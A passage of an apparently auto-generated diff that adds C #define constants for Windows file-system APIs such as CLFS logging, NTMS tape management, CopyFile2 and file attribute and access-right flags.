TXF_LOG_RECORD_GENERIC_TYPE_PREPARE 0x4 +#define TXF_LOG_RECORD_GENERIC_TYPE_DATA 0x8 +#define VS_VERSION_INFO 0x1 +#define VS_USER_DEFINED 0x64 +#define VS_FFI_SIGNATURE -17890115 +#define VS_FFI_STRUCVERSION 65536 +#define VS_FFI_FILEFLAGSMASK 63 +#define WINEFS_SETUSERKEY_SET_CAPABILITIES 0x1 +#define EFS_COMPATIBILITY_VERSION_NCRYPT_PROTECTOR 0x5 +#define EFS_COMPATIBILITY_VERSION_PFILE_PROTECTOR 0x6 +#define EFS_SUBVER_UNKNOWN 0x0 +#define EFS_EFS_SUBVER_EFS_CERT 0x1 +#define EFS_PFILE_SUBVER_RMS 0x2 +#define EFS_PFILE_SUBVER_APPX 0x3 +#define MAX_SID_SIZE 0x100 +#define EFS_METADATA_ADD_USER 0x1 +#define EFS_METADATA_REMOVE_USER 0x2 +#define EFS_METADATA_REPLACE_USER 0x4 +#define EFS_METADATA_GENERAL_OP 0x8 +#define WOF_PROVIDER_WIM 0x1 +#define WOF_PROVIDER_FILE 0x2 +#define WIM_PROVIDER_HASH_SIZE 0x14 +#define WIM_BOOT_OS_WIM 0x1 +#define WIM_BOOT_NOT_OS_WIM 0x0 +#define WIM_ENTRY_FLAG_NOT_ACTIVE 0x1 +#define WIM_ENTRY_FLAG_SUSPENDED 0x2 +#define WIM_EXTERNAL_FILE_INFO_FLAG_NOT_ACTIVE 0x1 +#define WIM_EXTERNAL_FILE_INFO_FLAG_SUSPENDED 0x2 +#define FILE_PROVIDER_COMPRESSION_XPRESS4K 0x0 +#define FILE_PROVIDER_COMPRESSION_LZX 0x1 +#define FILE_PROVIDER_COMPRESSION_XPRESS8K 0x2 +#define FILE_PROVIDER_COMPRESSION_XPRESS16K 0x3 +#define COPYFILE2_MESSAGE_COPY_OFFLOAD 1 +#define COPYFILE2_IO_CYCLE_SIZE_MIN 0x1000 +#define COPYFILE2_IO_CYCLE_SIZE_MAX 0x40000000 +#define COPYFILE2_IO_RATE_MIN 0x200 +#define ClfsNullRecord 0x0 +#define ClfsDataRecord 0x1 +#define ClfsRestartRecord 0x2 +#define ClfsClientRecord 0x3 +#define ClsContainerInitializing 0x1 +#define ClsContainerInactive 0x2 +#define ClsContainerActive 0x4 +#define ClsContainerActivePendingDelete 0x8 +#define ClsContainerPendingArchive 0x10 +#define ClsContainerPendingArchiveAndDelete 0x20 +#define ClfsContainerInitializing 0x1 +#define ClfsContainerInactive 0x2 +#define ClfsContainerActive 0x4 +#define ClfsContainerActivePendingDelete 0x8 +#define ClfsContainerPendingArchive 0x10 +#define ClfsContainerPendingArchiveAndDelete 0x20 +#define CLFS_MAX_CONTAINER_INFO 0x100 +#define CLFS_SCAN_INIT 0x1 +#define CLFS_SCAN_FORWARD 0x2 +#define CLFS_SCAN_BACKWARD 0x4 +#define CLFS_SCAN_CLOSE 0x8 +#define CLFS_SCAN_INITIALIZED 0x10 +#define CLFS_SCAN_BUFFERED 0x20 +#define FILE_BEGIN 0x0 +#define FILE_CURRENT 0x1 +#define FILE_END 0x2 +#define OF_CANCEL 0x800 +#define OF_CREATE 0x1000 +#define OF_DELETE 0x200 +#define OF_EXIST 0x4000 +#define OF_PARSE 0x100 +#define OF_PROMPT 0x2000 +#define OF_READ 0x0 +#define OF_READWRITE 0x2 +#define OF_REOPEN 0x8000 +#define OF_SHARE_DENY_NONE 0x40 +#define OF_SHARE_DENY_READ 0x30 +#define OF_SHARE_DENY_WRITE 0x20 +#define OF_SHARE_EXCLUSIVE 0x10 +#define OF_WRITE 0x1 +#define OF_SHARE_COMPAT 0x0 +#define OF_VERIFY 0x400 +#define TAPE_FORMAT 0x5 +#define TAPE_LOAD 0x0 +#define TAPE_LOCK 0x3 +#define TAPE_TENSION 0x2 +#define TAPE_UNLOAD 0x1 +#define TAPE_UNLOCK 0x4 +#define NTMS_ENUM_DEFAULT 0 +#define NTMS_ENUM_ROOTPOOL 1 +#define SET_TAPE_DRIVE_INFORMATION 0x1 +#define SET_TAPE_MEDIA_INFORMATION 0x0 +#define TXF_LOG_RECORD_TYPE_AFFECTED_FILE 0x4 +#define TXF_LOG_RECORD_TYPE_TRUNCATE 0x2 +#define TXF_LOG_RECORD_TYPE_WRITE 0x1 +#define NTMS_ALLOCATE_FROMSCRATCH 1 +#define STYPE_DISKTREE 0x0 +#define STYPE_PRINTQ 0x1 +#define STYPE_DEVICE 0x2 +#define STYPE_IPC 0x3 +#define STYPE_SPECIAL 0x80000000 +#define STYPE_TEMPORARY 0x40000000 +#define STYPE_MASK 0xff +#define NTMS_DISMOUNT_DEFERRED 1 +#define NTMS_DISMOUNT_IMMEDIATE 2 +#define ClfsMgmtPolicyMaximumSize 0 +#define ClfsMgmtPolicyMinimumSize 1 +#define ClfsMgmtPolicyNewContainerSize 2 +#define ClfsMgmtPolicyGrowthRate 3 +#define ClfsMgmtPolicyLogTail 4 +#define ClfsMgmtPolicyAutoShrink 5 +#define ClfsMgmtPolicyAutoGrow 6 +#define ClfsMgmtPolicyNewContainerPrefix 7 +#define ClfsMgmtPolicyNewContainerSuffix 8 +#define ClfsMgmtPolicyNewContainerExtension 9 +#define ClfsMgmtPolicyInvalid 10 +#define COPY_FILE2_V2_DONT_COPY_JUNCTIONS 0x1 +#define COPY_FILE2_V2_DISABLE_BLOCK_CLONING 0x2 +#define COPY_FILE2_V2_VALID_FLAGS 0x3 +#define FILE_READ_DATA 0x1 +#define FILE_LIST_DIRECTORY 0x1 +#define FILE_WRITE_DATA 0x2 +#define FILE_ADD_FILE 0x2 +#define FILE_APPEND_DATA 0x4 +#define FILE_ADD_SUBDIRECTORY 0x4 +#define FILE_CREATE_PIPE_INSTANCE 0x4 +#define FILE_READ_EA 0x8 +#define FILE_WRITE_EA 0x10 +#define FILE_EXECUTE 0x20 +#define FILE_TRAVERSE 0x20 +#define FILE_DELETE_CHILD 0x40 +#define FILE_READ_ATTRIBUTES 0x80 +#define FILE_WRITE_ATTRIBUTES 0x100 +#define DELETE 0x10000 +#define READ_CONTROL 0x20000 +#define WRITE_DAC 0x40000 +#define WRITE_OWNER 0x80000 +#define SYNCHRONIZE 0x100000 +#define STANDARD_RIGHTS_REQUIRED 0xf0000 +#define STANDARD_RIGHTS_READ 0x20000 +#define STANDARD_RIGHTS_WRITE 0x20000 +#define STANDARD_RIGHTS_EXECUTE 0x20000 +#define STANDARD_RIGHTS_ALL 0x1f0000 +#define SPECIFIC_RIGHTS_ALL 0xffff +#define FILE_ALL_ACCESS 0x1f01ff +#define FILE_GENERIC_READ 0x120089 +#define FILE_GENERIC_WRITE 0x120116 +#define FILE_GENERIC_EXECUTE 0x1200a0 +#define ClfsIoStatsDefault 0 +#define ClfsIoStatsMax 65535 +#define NTMS_OPEN_EXISTING 1 +#define NTMS_CREATE_NEW 2 +#define NTMS_OPEN_ALWAYS 3 +#define ClfsLogBasicInformation 0 +#define ClfsLogBasicInformationPhysical 1 +#define ClfsLogPhysicalNameInformation 2 +#define ClfsLogStreamIdentifierInformation 3 +#define ClfsLogSystemMarkingInformation 4 +#define ClfsLogPhysicalLsnInformation 5 +#define NTMS_PORTPOSITION_UNKNOWN 0 +#define NTMS_PORTPOSITION_EXTENDED 1 +#define NTMS_PORTPOSITION_RETRACTED 2 +#define NTMS_READY 0 +#define NTMS_INITIALIZING 10 +#define NTMS_NEEDS_SERVICE 20 +#define NTMS_NOT_PRESENT 21 +#define GetFileExInfoStandard 0 +#define GetFileExMaxInfoLevel 1 +#define VIFF_FORCEINSTALL 0x1 +#define VIFF_DONTDELETEOLD 0x2 +#define COPYFILE2_PROGRESS_CONTINUE 0 +#define COPYFILE2_PROGRESS_CANCEL 1 +#define COPYFILE2_PROGRESS_STOP 2 +#define COPYFILE2_PROGRESS_QUIET 3 +#define COPYFILE2_PROGRESS_PAUSE 4 +#define NTMS_DRIVESTATE_DISMOUNTED 0 +#define NTMS_DRIVESTATE_MOUNTED 1 +#define NTMS_DRIVESTATE_LOADED 2 +#define NTMS_DRIVESTATE_UNLOADED 5 +#define NTMS_DRIVESTATE_BEING_CLEANED 6 +#define NTMS_DRIVESTATE_DISMOUNTABLE 7 +#define COPYFILE2_PHASE_NONE 0 +#define COPYFILE2_PHASE_PREPARE_SOURCE 1 +#define COPYFILE2_PHASE_PREPARE_DEST 2 +#define COPYFILE2_PHASE_READ_SOURCE 3 +#define COPYFILE2_PHASE_WRITE_DESTINATION 4 +#define COPYFILE2_PHASE_SERVER_COPY 5 +#define COPYFILE2_PHASE_NAMEGRAFT_COPY 6 +#define COPYFILE2_PHASE_MAX 7 +#define NTMS_LIBRARYTYPE_UNKNOWN 0 +#define NTMS_LIBRARYTYPE_OFFLINE 1 +#define NTMS_LIBRARYTYPE_ONLINE 2 +#define NTMS_LIBRARYTYPE_STANDALONE 3 +#define CREATE_NEW 0x1 +#define CREATE_ALWAYS 0x2 +#define OPEN_EXISTING 0x3 +#define OPEN_ALWAYS 0x4 +#define TRUNCATE_EXISTING 0x5 +#define FileStatByNameInfo 0 +#define FileStatLxByNameInfo 1 +#define FileCaseSensitiveByNameInfo 2 +#define FileStatBasicByNameInfo 3 +#define MaximumFileInfoByNameClass 4 +#define SYMBOLIC_LINK_FLAG_DIRECTORY 0x1 +#define SYMBOLIC_LINK_FLAG_ALLOW_UNPRIVILEGED_CREATE 0x2 +#define NTMS_PRIORITY_DEFAULT 0 +#define NTMS_PRIORITY_HIGHEST 15 +#define NTMS_PRIORITY_HIGH 7 +#define NTMS_PRIORITY_NORMAL 0 +#define NTMS_PRIORITY_LOW -7 +#define NTMS_PRIORITY_LOWEST -15 +#define NTMS_UNKNOWN 0 +#define NTMS_OBJECT 1 +#define NTMS_CHANGER 2 +#define NTMS_CHANGER_TYPE 3 +#define NTMS_COMPUTER 4 +#define NTMS_DRIVE 5 +#define NTMS_DRIVE_TYPE 6 +#define NTMS_IEDOOR 7 +#define NTMS_IEPORT 8 +#define NTMS_LIBRARY 9 +#define NTMS_LIBREQUEST 10 +#define NTMS_LOGICAL_MEDIA 11 +#define NTMS_MEDIA_POOL 12 +#define NTMS_MEDIA_TYPE 13 +#define NTMS_PARTITION 14 +#define NTMS_PHYSICAL_MEDIA 15 +#define NTMS_STORAGESLOT 16 +#define NTMS_OPREQUEST 17 +#define NTMS_UI_DESTINATION 18 +#define NTMS_NUMBER_OF_OBJECT_TYPES 19 +#define VFT2_UNKNOWN 0 +#define VFT2_DRV_PRINTER 1 +#define VFT2_DRV_KEYBOARD 2 +#define VFT2_DRV_LANGUAGE 3 +#define VFT2_DRV_DISPLAY 4 +#define VFT2_DRV_MOUSE 5 +#define VFT2_DRV_NETWORK 6 +#define VFT2_DRV_SYSTEM 7 +#define VFT2_DRV_INSTALLABLE 8 +#define VFT2_DRV_SOUND 9 +#define VFT2_DRV_COMM 10 +#define VFT2_DRV_INPUTMETHOD 11 +#define VFT2_DRV_VERSIONED_PRINTER 12 +#define VFT2_FONT_RASTER 1 +#define VFT2_FONT_VECTOR 2 +#define VFT2_FONT_TRUETYPE 3 +#define NTMS_LM_QUEUED 0 +#define NTMS_LM_INPROCESS 1 +#define NTMS_LM_PASSED 2 +#define NTMS_LM_FAILED 3 +#define NTMS_LM_INVALID 4 +#define NTMS_LM_WAITING 5 +#define NTMS_LM_DEFERRED 6 +#define NTMS_LM_DEFFERED 6 +#define NTMS_LM_CANCELLED 7 +#define NTMS_LM_STOPPED 8 +#define NTMS_SESSION_QUERYEXPEDITE 1 +#define FILE_TYPE_UNKNOWN 0x0 +#define FILE_TYPE_DISK 0x1 +#define FILE_TYPE_CHAR 0x2 +#define FILE_TYPE_PIPE 0x3 +#define FILE_TYPE_REMOTE 0x8000 +#define NTMS_ASYNCOP_MOUNT 1 +#define FILE_ATTRIBUTE_READONLY 0x1 +#define FILE_ATTRIBUTE_HIDDEN 0x2 +#define FILE_ATTRIBUTE_SYSTEM 0x4 +#define FILE_ATTRIBUTE_DIRECTORY 0x10 +#define FILE_ATTRIBUTE_ARCHIVE 0x20 +#define FILE_ATTRIBUTE_DEVICE 0x40 +#define FILE_ATTRIBUTE_NORMAL 0x80 +#define FILE_ATTRIBUTE_TEMPORARY 0x100 +#define FILE_ATTRIBUTE_SPARSE_FILE 0x200 +#define FILE_ATTRIBUTE_REPARSE_POINT 0x400 +#define FILE_ATTRIBUTE_COMPRESSED 0x800 +#define FILE_ATTRIBUTE_OFFLINE 0x1000 +#define FILE_ATTRIBUTE_NOT_CONTENT_INDEXED 0x2000 +#define FILE_ATTRIBUTE_ENCRYPTED 0x4000 +#define FILE_ATTRIBUTE_INTEGRITY_STREAM 0x8000 +#define FILE_ATTRIBUTE_VIRTUAL 0x10000 +#define FILE_ATTRIBUTE_NO_SCRUB_DATA 0x20000 +#define FILE_ATTRIBUTE_EA 0x40000 +#define FILE_ATTRIBUTE_PINNED 0x80000 +#define FILE_ATTRIBUTE_UNPINNED 0x100000 +#define FILE_ATTRIBUTE_RECALL_ON_OPEN 0x40000 +#define FILE_ATTRIBUTE_RECALL_ON_DATA_ACCESS 0x400000 +#define FILE_FLAG_WRITE_THROUGH 0x80000000 +#define FILE_FLAG_OVERLAPPED 0x40000000 +#define FILE_FLAG_NO_BUFFERING 0x20000000 +#define FILE_FLAG_RANDOM_ACCESS 0x10000000 +#define FILE_FLAG_SEQUENTIAL_SCAN 0x8000000 +#define FILE_FLAG_DELETE_ON_CLOSE 0x4000000 +#define FILE_FLAG_BACKUP_SEMANTICS 0x2000000 +#define FILE_FLAG_POSIX_SEMANTICS 0x1000000 +#define FILE_FLAG_SESSION_AWARE 0x800000 +#define FILE_FLAG_OPEN_REPARSE_POINT 0x200000 +#define FILE_FLAG_OPEN_NO_RECALL 0x100000 +#define FILE_FLAG_FIRST_PIPE_INSTANCE 0x80000 +#define PIPE_ACCESS_DUPLEX 0x3 +#define PIPE_ACCESS_INBOUND 0x1 +#define PIPE_ACCESS_OUTBOUND 0x2 +#define SECURITY_ANONYMOUS 0x0 +#define SECURITY_IDENTIFICATION 0x10000 +#define SECURITY_IMPERSONATION 0x20000 +#define SECURITY_DELEGATION 0x30000 +#define SECURITY_CONTEXT_TRACKING 0x40000 +#define SECURITY_EFFECTIVE_ONLY 0x80000 +#define SECURITY_SQOS_PRESENT 0x100000 +#define SECURITY_VALID_SQOS_FLAGS 0x1f0000 +#define TAPE_FIXED_PARTITIONS 0x0 +#define TAPE_INITIATOR_PARTITIONS 0x2 +#define TAPE_SELECT_PARTITIONS 0x1 +#define NTMS_MOUNT_READ 1 +#define NTMS_MOUNT_WRITE 2 +#define NTMS_MOUNT_ERROR_NOT_AVAILABLE 4 +#define NTMS_MOUNT_ERROR_IF_UNAVAILABLE 4 +#define NTMS_MOUNT_ERROR_OFFLINE 8 +#define NTMS_MOUNT_ERROR_IF_OFFLINE 8 +#define NTMS_MOUNT_SPECIFIC_DRIVE 16 +#define NTMS_MOUNT_NOWAIT 32 +#define NTMS_INJECT_START 0 +#define NTMS_INJECT_STOP 1 +#define NTMS_INJECT_RETRACT 2 +#define NTMS_INJECT_STARTMANY 3 +#define IoPriorityHintVeryLow 0 +#define IoPriorityHintLow 1 +#define IoPriorityHintNormal 2 +#define MaximumIoPriorityHintType 3 +#define NTMS_ERROR_ON_DUPLICATE 1 +#define VS_FF_DEBUG 0x1 +#define VS_FF_PRERELEASE 0x2 +#define VS_FF_PATCHED 0x4 +#define VS_FF_PRIVATEBUILD 0x8 +#define VS_FF_INFOINFERRED 0x10 +#define VS_FF_SPECIALBUILD 0x20 +#define NTMS_OBJ_UPDATE 1 +#define NTMS_OBJ_INSERT 2 +#define NTMS_OBJ_DELETE 3 +#define NTMS_EVENT_SIGNAL 4 +#define NTMS_EVENT_COMPLETE 5 +#define NTMS_LIBRARYFLAG_FIXEDOFFLINE 1 +#define NTMS_LIBRARYFLAG_CLEANERPRESENT 2 +#define NTMS_LIBRARYFLAG_AUTODETECTCHANGE 4 +#define NTMS_LIBRARYFLAG_IGNORECLEANERUSESREMAINING 8 +#define NTMS_LIBRARYFLAG_RECOGNIZECLEANERBARCODE 16 +#define TAPE_ERASE_LONG 0x1 +#define TAPE_ERASE_SHORT 0x0 +#define FileBasicInfo 0 +#define FileStandardInfo 1 +#define FileNameInfo 2 +#define FileRenameInfo 3 +#define FileDispositionInfo 4 +#define FileAllocationInfo 5 +#define FileEndOfFileInfo 6 +#define FileStreamInfo 7 +#define FileCompressionInfo 8 +#define FileAttributeTagInfo 9 +#define FileIdBothDirectoryInfo 10 +#define FileIdBothDirectoryRestartInfo 11 +#define FileIoPriorityHintInfo 12 +#define FileRemoteProtocolInfo 13 +#define FileFullDirectoryInfo 14 +#define FileFullDirectoryRestartInfo 15 +#define FileStorageInfo 16 +#define FileAlignmentInfo 17 +#define FileIdInfo 18 +#define FileIdExtdDirectoryInfo 19 +#define FileIdExtdDirectoryRestartInfo 20 +#define FileDispositionInfoEx 21 +#define FileRenameInfoEx 22 +#define FileCaseSensitiveInfo 23 +#define FileNormalizedNameInfo 24 +#define MaximumFileInfoByHandleClass 25 +#define NTMS_LM_REMOVE 0 +#define NTMS_LM_DISABLECHANGER 1 +#define NTMS_LM_DISABLELIBRARY 1 +#define NTMS_LM_ENABLECHANGER 2 +#define NTMS_LM_ENABLELIBRARY 2 +#define NTMS_LM_DISABLEDRIVE 3 +#define NTMS_LM_ENABLEDRIVE 4 +#define NTMS_LM_DISABLEMEDIA 5 +#define NTMS_LM_ENABLEMEDIA 6 +#define NTMS_LM_UPDATEOMID 7 +#define NTMS_LM_INVENTORY 8 +#define NTMS_LM_DOORACCESS 9 +#define NTMS_LM_EJECT 10 +#define NTMS_LM_EJECTCLEANER 11 +#define NTMS_LM_INJECT 12 +#define NTMS_LM_INJECTCLEANER 13 +#define NTMS_LM_PROCESSOMID 14 +#define NTMS_LM_CLEANDRIVE 15 +#define NTMS_LM_DISMOUNT 16 +#define NTMS_LM_MOUNT 17 +#define NTMS_LM_WRITESCRATCH 18 +#define NTMS_LM_CLASSIFY 19 +#define NTMS_LM_RESERVECLEANER 20 +#define NTMS_LM_RELEASECLEANER 21 +#define NTMS_LM_MAXWORKITEM 22 +#define NTMS_UIDEST_ADD 1 +#define NTMS_UIDEST_DELETE 2 +#define NTMS_UIDEST_DELETEALL 3 +#define NTMS_UIOPERATION_MAX 4 +#define VOLUME_NAME_DOS 0x0 +#define VOLUME_NAME_GUID 0x1 +#define VOLUME_NAME_NT 0x2 +#define VOLUME_NAME_NONE 0x4 +#define FILE_NAME_NORMALIZED 0x0 +#define FILE_NAME_OPENED 0x8 +#define CALLBACK_CHUNK_FINISHED 0x0 +#define CALLBACK_STREAM_SWITCH 0x1 +#define ClsIoStatsDefault 0 +#define ClsIoStatsMax 65535 +#define FILE_ACTION_ADDED 0x1 +#define FILE_ACTION_REMOVED 0x2 +#define FILE_ACTION_MODIFIED 0x3 +#define FILE_ACTION_RENAMED_OLD_NAME 0x4 +#define FILE_ACTION_RENAMED_NEW_NAME 0x5 +#define DISKQUOTA_USERNAME_RESOLVE_ASYNC 0x2 +#define DISKQUOTA_USERNAME_RESOLVE_NONE 0x0 +#define DISKQUOTA_USERNAME_RESOLVE_SYNC 0x1 +#define GET_TAPE_DRIVE_INFORMATION 0x1 +#define GET_TAPE_MEDIA_INFORMATION 0x0 +#define COPY_FILE_FAIL_IF_EXISTS 0x1 +#define COPY_FILE_RESTARTABLE 0x2 +#define COPY_FILE_OPEN_SOURCE_FOR_WRITE 0x4 +#define COPY_FILE_ALLOW_DECRYPTED_DESTINATION 0x8 +#define COPY_FILE_COPY_SYMLINK 0x800 +#define COPY_FILE_NO_BUFFERING 0x1000 +#define COPY_FILE_REQUEST_SECURITY_PRIVILEGES 0x2000 +#define COPY_FILE_RESUME_FROM_PAUSE 0x4000 +#define COPY_FILE_NO_OFFLOAD 0x40000 +#define COPY_FILE_IGNORE_EDP_BLOCK 0x400000 +#define COPY_FILE_IGNORE_SOURCE_ENCRYPTION 0x800000 +#define COPY_FILE_DONT_REQUEST_DEST_WRITE_DAC 0x2000000 +#define COPY_FILE_REQUEST_COMPRESSED_TRAFFIC 0x10000000 +#define COPY_FILE_OPEN_AND_COPY_REPARSE_POINT 0x200000 +#define COPY_FILE_DIRECTORY 0x80 +#define COPY_FILE_SKIP_ALTERNATE_STREAMS 0x8000 +#define COPY_FILE_DISABLE_PRE_ALLOCATION 0x4000000 +#define COPY_FILE_ENABLE_LOW_FREE_SPACE_MODE 0x8000000 +#define COPY_FILE_ENABLE_SPARSE_COPY 0x20000000 +#define COPY_FILE_DISABLE_SPARSE_COPY 0x80000000 +#define COPYFILE2_CALLBACK_NONE 0 +#define COPYFILE2_CALLBACK_CHUNK_STARTED 1 +#define COPYFILE2_CALLBACK_CHUNK_FINISHED 2 +#define COPYFILE2_CALLBACK_STREAM_STARTED 3 +#define COPYFILE2_CALLBACK_STREAM_FINISHED 4 +#define COPYFILE2_CALLBACK_POLL_CONTINUE 5 +#define COPYFILE2_CALLBACK_ERROR 6 +#define COPYFILE2_CALLBACK_MAX 7 +#define NTMS_UITYPE_INVALID 0 +#define NTMS_UITYPE_INFO 1 +#define NTMS_UITYPE_REQ 2 +#define NTMS_UITYPE_ERR 3 +#define NTMS_UITYPE_MAX 4 +#define IORING_OP_NOP 0 +#define IORING_OP_READ 1 +#define IORING_OP_REGISTER_FILES 2 +#define IORING_OP_REGISTER_BUFFERS 3 +#define IORING_OP_CANCEL 4 +#define IORING_OP_WRITE 5 +#define IORING_OP_FLUSH 6 +#define IORING_OP_READ_SCATTER 7 +#define IORING_OP_WRITE_GATHER 8 +#define PERM_FILE_READ 0x1 +#define PERM_FILE_WRITE 0x2 +#define PERM_FILE_CREATE 0x4 +#define NTMS_SLOTSTATE_UNKNOWN 0 +#define NTMS_SLOTSTATE_FULL 1 +#define NTMS_SLOTSTATE_EMPTY 2 +#define NTMS_SLOTSTATE_NOTPRESENT 3 +#define NTMS_SLOTSTATE_NEEDSINVENTORY 4 +#define ClfsContextNone 0 +#define ClfsContextUndoNext 1 +#define ClfsContextPrevious 2 +#define ClfsContextForward 3 +#define FILE_DISPOSITION_FLAG_DO_NOT_DELETE 0x0 +#define FILE_DISPOSITION_FLAG_DELETE 0x1 +#define FILE_DISPOSITION_FLAG_POSIX_SEMANTICS 0x2 +#define FILE_DISPOSITION_FLAG_FORCE_IMAGE_SECTION_CHECK 0x4 +#define FILE_DISPOSITION_FLAG_ON_CLOSE 0x8 +#define FILE_DISPOSITION_FLAG_IGNORE_READONLY_ATTRIBUTE 0x10 +#define IORING_CREATE_ADVISORY_FLAGS_NONE 0 +#define IORING_CREATE_SKIP_BUILDER_PARAM_CHECKS 1 +#define NTMS_DEALLOCATE_TOSCRATCH 1 +#define NTMS_PORTCONTENT_UNKNOWN 0 +#define NTMS_PORTCONTENT_FULL 1 +#define NTMS_PORTCONTENT_EMPTY 2 +#define NTMS_PARTSTATE_UNKNOWN 0 +#define NTMS_PARTSTATE_UNPREPARED 1 +#define NTMS_PARTSTATE_INCOMPATIBLE 2 +#define NTMS_PARTSTATE_DECOMMISSIONED 3 +#define NTMS_PARTSTATE_AVAILABLE 4 +#define NTMS_PARTSTATE_ALLOCATED 5 +#define NTMS_PARTSTATE_COMPLETE 6 +#define NTMS_PARTSTATE_FOREIGN 7 +#define NTMS_PARTSTATE_IMPORT 8 +#define NTMS_PARTSTATE_RESERVED 9 +#define IOSQE_FLAGS_NONE 0 +#define IOSQE_FLAGS_DRAIN_PRECEDING_OPS 1 +#define VIF_TEMPFILE 0x1 +#define VIF_MISMATCH 0x2 +#define VIF_SRCOLD 0x4 +#define VIF_DIFFLANG 0x8 +#define VIF_DIFFCODEPG 0x10 +#define VIF_DIFFTYPE 0x20 +#define VIF_WRITEPROT 0x40 +#define VIF_FILEINUSE 0x80 +#define VIF_OUTOFSPACE 0x100 +#define VIF_ACCESSVIOLATION 0x200 +#define VIF_SHARINGVIOLATION 0x400 +#define VIF_CANNOTCREATE 0x800 +#define VIF_CANNOTDELETE 0x1000 +#define VIF_CANNOTRENAME 0x2000 +#define VIF_CANNOTDELETECUR 0x4000 +#define VIF_OUTOFMEMORY 0x8000 +#define VIF_CANNOTREADSRC 0x10000 +#define VIF_CANNOTREADDST 0x20000 +#define VIF_BUFFTOOSMALL 0x40000 +#define VIF_CANNOTLOADLZ32 0x80000 +#define VIF_CANNOTLOADCABINET 0x100000 +#define BusTypeUnknown 0 +#define BusTypeScsi 1 +#define BusTypeAtapi 2 +#define BusTypeAta 3 +#define BusType1394 4 +#define BusTypeSsa 5 +#define BusTypeFibre 6 +#define BusTypeUsb 7 +#define BusTypeRAID 8 +#define BusTypeiScsi 9 +#define BusTypeSas 10 +#define BusTypeSata 11 +#define BusTypeSd 12 +#define BusTypeMmc 13 +#define BusTypeVirtual 14 +#define BusTypeFileBackedVirtual 15 +#define BusTypeSpaces 16 +#define BusTypeNvme 17 +#define BusTypeSCM 18 +#define BusTypeUfs 19 +#define BusTypeNvmeof 20 +#define BusTypeMax 21 +#define BusTypeMaxReserved 127 +#define TAPE_ABSOLUTE_BLOCK 0x1 +#define TAPE_LOGICAL_BLOCK 0x2 +#define TAPE_REWIND 0x0 +#define TAPE_SPACE_END_OF_DATA 0x4 +#define TAPE_SPACE_FILEMARKS 0x6 +#define TAPE_SPACE_RELATIVE_BLOCKS 0x5 +#define TAPE_SPACE_SEQUENTIAL_FMKS 0x7 +#define TAPE_SPACE_SEQUENTIAL_SMKS 0x9 +#define TAPE_SPACE_SETMARKS 0x8 +#define VFFF_ISSHAREDFILE 0x1 +#define NTMS_POOLTYPE_UNKNOWN 0 +#define NTMS_POOLTYPE_SCRATCH 1 +#define NTMS_POOLTYPE_FOREIGN 2 +#define NTMS_POOLTYPE_IMPORT 3 +#define NTMS_POOLTYPE_APPLICATION 1000 +#define NTMS_POOLPOLICY_PURGEOFFLINESCRATCH 1 +#define NTMS_POOLPOLICY_KEEPOFFLINEIMPORT 2 +#define IORING_CREATE_REQUIRED_FLAGS_NONE 0 +#define MOVEFILE_COPY_ALLOWED 0x2 +#define MOVEFILE_CREATE_HARDLINK 0x10 +#define MOVEFILE_DELAY_UNTIL_REBOOT 0x4 +#define MOVEFILE_REPLACE_EXISTING 0x1 +#define MOVEFILE_WRITE_THROUGH 0x8 +#define MOVEFILE_FAIL_IF_NOT_TRACKABLE 0x20 +#define FileIdType 0 +#define ObjectIdType 1 +#define ExtendedFileIdType 2 +#define MaximumFileIdType 3 +#define NTMS_OMID_TYPE_FILESYSTEM_INFO 0x2 +#define NTMS_OMID_TYPE_RAW_LABEL 0x1 +#define TransactionOutcomeUndetermined 1 +#define TransactionOutcomeCommitted 2 +#define TransactionOutcomeAborted 3 +#define ClfsMgmtAdvanceTailNotification 0 +#define ClfsMgmtLogFullHandlerNotification 1 +#define ClfsMgmtLogUnpinnedNotification 2 +#define ClfsMgmtLogWriteNotification 3 +#define VFT_UNKNOWN 0 +#define VFT_APP 1 +#define VFT_DLL 2 +#define VFT_DRV 3 +#define VFT_FONT 4 +#define VFT_VXD 5 +#define VFT_STATIC_LIB 7 +#define FindExSearchNameMatch 0 +#define FindExSearchLimitToDirectories 1 +#define FindExSearchLimitToDevices 2 +#define FindExSearchMaxSearchOp 3 +#define NTMS_INVENTORY_NONE 0 +#define NTMS_INVENTORY_FAST 1 +#define NTMS_INVENTORY_OMID 2 +#define NTMS_INVENTORY_DEFAULT 3 +#define NTMS_INVENTORY_SLOT 4 +#define NTMS_INVENTORY_STOP 5 +#define NTMS_INVENTORY_MAX 6 +#define NTMS_ASYNCSTATE_QUEUED 0 +#define NTMS_ASYNCSTATE_WAIT_RESOURCE 1 +#define NTMS_ASYNCSTATE_WAIT_OPERATOR 2 +#define NTMS_ASYNCSTATE_INPROCESS 3 +#define NTMS_ASYNCSTATE_COMPLETE 4 +#define FIND_FIRST_EX_CASE_SENSITIVE 0x1 +#define FIND_FIRST_EX_LARGE_FETCH 0x2 +#define FIND_FIRST_EX_ON_DISK_ENTRIES_ONLY 0x4 +#define NTMS_OPSTATE_UNKNOWN 0 +#define NTMS_OPSTATE_SUBMITTED 1 +#define NTMS_OPSTATE_ACTIVE 2 +#define NTMS_OPSTATE_INPROGRESS 3 +#define NTMS_OPSTATE_REFUSED 4 +#define NTMS_OPSTATE_COMPLETE 5 +#define ReadDirectoryNotifyInformation 1 +#define ReadDirectoryNotifyExtendedInformation 2 +#define ReadDirectoryNotifyFullInformation 3 +#define ReadDirectoryNotifyMaximumInformation 4 +#define FILE_FLUSH_DEFAULT 0 +#define FILE_FLUSH_DATA 1 +#define FILE_FLUSH_MIN_METADATA 2 +#define FILE_FLUSH_NO_SYNC 3 +#define TAPE_ABSOLUTE_POSITION 0x0 +#define TAPE_LOGICAL_POSITION 0x1 +#define NTMS_USE_ACCESS 1 +#define NTMS_MODIFY_ACCESS 2 +#define NTMS_CONTROL_ACCESS 4 +#define NTMS_DOORSTATE_UNKNOWN 0 +#define NTMS_DOORSTATE_CLOSED 1 +#define NTMS_DOORSTATE_OPEN 2 +#define DDD_RAW_TARGET_PATH 0x1 +#define DDD_REMOVE_DEFINITION 0x2 +#define DDD_EXACT_MATCH_ON_REMOVE 0x4 +#define DDD_NO_BROADCAST_SYSTEM 0x8 +#define DDD_LUID_BROADCAST_DRIVE 0x10 +#define CLFS_FLAG_FORCE_APPEND 0x1 +#define CLFS_FLAG_FORCE_FLUSH 0x2 +#define CLFS_FLAG_NO_FLAGS 0x0 +#define CLFS_FLAG_USE_RESERVATION 0x4 +#define FILE_NOTIFY_CHANGE_FILE_NAME 0x1 +#define FILE_NOTIFY_CHANGE_DIR_NAME 0x2 +#define 